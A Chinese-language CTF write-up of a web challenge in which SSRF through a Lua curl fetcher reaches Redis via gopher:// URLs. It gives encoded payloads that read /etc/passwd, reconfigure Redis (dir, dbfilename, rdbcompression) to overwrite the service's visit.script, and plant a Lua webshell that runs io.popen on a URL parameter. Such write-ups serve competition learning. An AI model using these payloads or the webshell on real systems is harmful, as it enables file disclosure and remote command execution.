第一次参加这个比赛,本以为是pwn赛,结果没想到是web最无敌的一集(有点可惜没把厦大刷下来= =)
拿到附件先起一个本地服务来打。apple silicon要指定amd64
main.lua的主要逻辑就是将visit.script的代码执行。visit.script的主要逻辑是将输入进来的url地址用lua的curl模块访问。并且会将页面访问结果保存到redis中。思路很简单,就是想办法利用redis来保存一个文件将visit.script覆盖掉,覆盖掉的内容就是要执行的lua反弹shell或者命令执行。
首先要先了解一下redis的一些常用指令和小常识,这里只介绍本题需要用到的
keys * --查看所有键值对
get keyname --查看该键的值
save --将当前 Redis 所有数据保存到文件里。文件名和路径在下面两个命令可以修改
CONFIG SET dbfilename yourfilename.rdb --设置save的文件名
CONFIG SET dir /var/lib/redis --设置save的保存目录
QUIT --退出redis命令行。这个很重要,一会儿就会用到
rdbcompression yes --在附件里给的redis配置文件第461行,主要作用就是开启rdb存储压缩。redis有两种持久化方式,一种叫rdb一种叫aof,有兴趣可以自查。并且,redis所有配置信息都可以在终端中用config get keyname的方式获取到
尝试访问一下file:///etc/passwd可以得到passwd
进容器的redis验证一下有没有把访问内容存下来。发现确实存了下来。
因为redis支持使用gopher协议控制,所以直接先用下面的payload梭一把试试
gopher://localhost:6379/_*2%0D%0A$3%0D%0AGET%0D%0A$18%0D%0Afile:///etc/passwd%0D%0A
这个格式是用gopher访问redis固定的,*2
表示这一行命令里有2个参数,$3
,$18
表示参数长度,并且最后一定要加一个CRLF的换行。厨子编码时要注意把全编码钩上,不然会不符合gopher协议规范(具体原因可以看这篇博客:https://redshome.top/2023/01/13/58/)。现在我们发一波试试。
可以发现换了个timeout回来,当时和队友在这儿卡了有一段时间,一直以为是我语句构造出了问题,以至于错过了前3血= =
直到队友拿着这段payload在命令行尝试直接curl后拿到了下面这样的结果
我便恍然大悟,问题就出在请求成功后没有退出redis终端,于是便搜到了上面所说的QUIT指令。接下来就是改造完的payload
gopher://localhost:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%2418%0D%0Afile%3A%2F%2F%2Fetc%2Fpasswd%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A
前后端均访问正常。最后再来测试一下save下来的数据长啥样
嘶,怎么感觉不太正常,好像存下来后和直接输出不太一样。这样可以不行,要是一会儿存下来的lua代码也变成这样那就执行不了了。当时队友“神之一手”一下就反应过来是压缩存储的问题,我们先把压缩存储关掉后再试一遍
无敌了,接下来就是走一遍最开始说的思路。首先是修改一下靶机的dbfilename,dir还有rdbcompression
*4
$6
config
$3
set
$3
dir
$8
/scripts
*4
$6
config
$3
set
$10
dbfilename
$12
visit.script
*4
$6
config
$3
set
$14
rdbcompression
$2
no
*1
$4
QUIT
gopher://localhost:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A%2Fscripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2412%0D%0Avisit%2Escript%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A
现在将我们的lua代码放入webhook中,让靶机访问。可以让ai帮忙写lua代码,我这里就直接用队友在发稿前给的exp,如下
##LUA_START##ngx.req.read_body(); local args = ngx.req.get_uri_args(); local ss = args.url; local handle = io.popen(ss); local result = handle:read("*a"); handle:close(); ngx.say("Command output:\n"); ngx.say(result)##LUA_END##
要用##LUA_START##和##LUA_END##括起来,因为根据main.lua可以知道,它只认这对标识里面的东西。接着像下面这样访问。
接下来就是让数据库save
接着访问两遍(第一遍是写入文件,第二遍是执行写入的lua代码),应该可以看到下面这样
然后就可以愉快的执行啦